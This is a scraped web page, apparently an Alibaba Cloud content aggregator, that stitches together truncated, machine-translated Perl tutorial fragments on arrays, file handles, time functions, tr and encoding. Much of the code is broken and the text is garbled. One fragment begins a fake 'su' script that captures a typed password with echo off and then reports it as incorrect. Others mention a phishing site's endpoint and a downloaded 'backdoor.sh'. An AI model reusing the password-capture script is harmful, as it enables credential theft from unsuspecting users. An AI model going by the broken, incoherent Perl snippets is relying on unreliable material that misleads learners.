You can download a Perl language interpreter first, download the. msi suffix file (your own Internet load one installation package), double-click the mouse to run it, this is a WindowsInstaller packge format installation package, all the way next
1. When chomp without parameters, the default parameters are used and the $_ operation is done.
2. Array @array ... Available $array[number] references. $ #array. Represents the number of indexes in an array.
3. $! contains error messages;
4. The
Copy code code as follows:
#!/usr/bin/perl
My%scyjm;
Open (Contacts, "F:\\perl\\f.txt") || Die ("Can not open the file!");
while ()
{
Next if/^#/; #if ($_=~/^#/'s shorthand
; chomp;
My
I changed it and turned it back on and added a delay:
#!/usr/bin/perl
# written by Xi4oyu .
Print "Password:";
' Stty-echo ';
$s 1=;
print "\ n";
' Stty echo ';
Sleep 3;
Print "Su:incorrect password\n";
Chomp ($s 1);
$s 2= "Password is:";
$s 3= "
Have you ever encountered Unix, a directory file too many, cannot remove the phenomenon, I wrote a perl program for everyone to delete
Copy Code code as follows:
Cat > del.pl
#!/usr/bin/perl
$file 1= $ARGV [0];
@tests = (1,2,3,4,5,6,7,
For business needs, to query the customer's IP address, will be part of the region's customers filtered out, began to think of the use of IP database, found that the difficulty of reading the pure database for me some of the big, and my current time
window to read a file in the following format:Open (Filehand, "path E.g:d:\\data.txt");
The open content is then assigned to a variable:$protein =;
Attached: A program for reading protein sequences.
Copy Code code as follows:
My $para = @_ This is a scalar context, $para gets the number of elements in the @_.
My ($para) = @_ This is the list context, $para gets the value of the element in the @_.
The specific context is determined by the type of variable on the left
1, Time function: Returns the cumulative number of seconds from January 1, 1970Use: My $t =time ();2. localtime function: Get local time zoneUse: My $t =localtime (Time ());3. gmtime function: Get GMTUse: My $t =gmtime (Time ());Get the format time (
An array is an unordered list variable that stores scalar values.Array variables begin with @. Access array elements are read by using the $ + variable name + [index value] format as follows:#!/usr/bin/perl @names = ( "google" , , "Taobao"
A skin-fruit game is a fire.It's estimated that many people want to blackAccidentally found a fishing station:http://ppgpergame.com/Fishing User name and passwordAfter grabbing the packet, the discovery data is sent to: http://ppgpergame.com/db.asp
Test file when found that the output of Chinese is garbled, so learned a bit of Perl encode principle. Now do a summary:The basic knowledge of Perl: In Perl, there are only two forms of strings. One is octets, a 8-bit sequence, which is the byte
1. Pod syntaxPod can be divided into three kinds, ordinary paragraph, literal paragraph (verbatim Paragraph) and command paragraph.The distinction between the three is very simple, to =pod|head1|cut|over, such as the beginning of the paragraph as a
Perl That's been learning, and sometimes Perl doesn't understand it with Python, so maybe Perl understandsHere's a copy of the Python notation, a Perl version, of course, for learning, the download virus is a little too simple.The backdoor.sh
In Perl there are several ways to use the handle, where open is the most basic use of the method, the following I encountered the use of several handles to make a small summary:Use of the Open method:The Open method is the most basic opening file
Comparison operator for strings: Less than-----lt is greater than----GT is less than or equal to----le is greater than or equal to------ge: Gets user input (one line reads until the end of the line break is encountered)Chomp (): Remove newline
Reprint: http://blog.sina.com.cn/s/blog_4a0824490101hncz.html(1)/C means to replace the characters that are not matched.$temp = "Aaaabcdef";$count = $temp =~tr/a/h/c;Print "$temp \t$count\n";Results: Aaaahhhhh 5(2)/d: Replace all characters on the
Http://www.activestate.com/activeperl/downloadsWhen installed, Perl is placed in the path of the environment variable by defaultAfter that, you need to restart your computer to make sure that the environment variable takes effectExecute perl-version
Not only can vb.net, C # and other Microsoft development software be called. net framework. As far as I know, at least 28 of them know how to call the development language. net framework. the following example shows how to use perl.net to access the
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.
A Free Trial That Lets You Build Big!
Start building with 50+ products and up to 12 months usage for Elastic Compute Service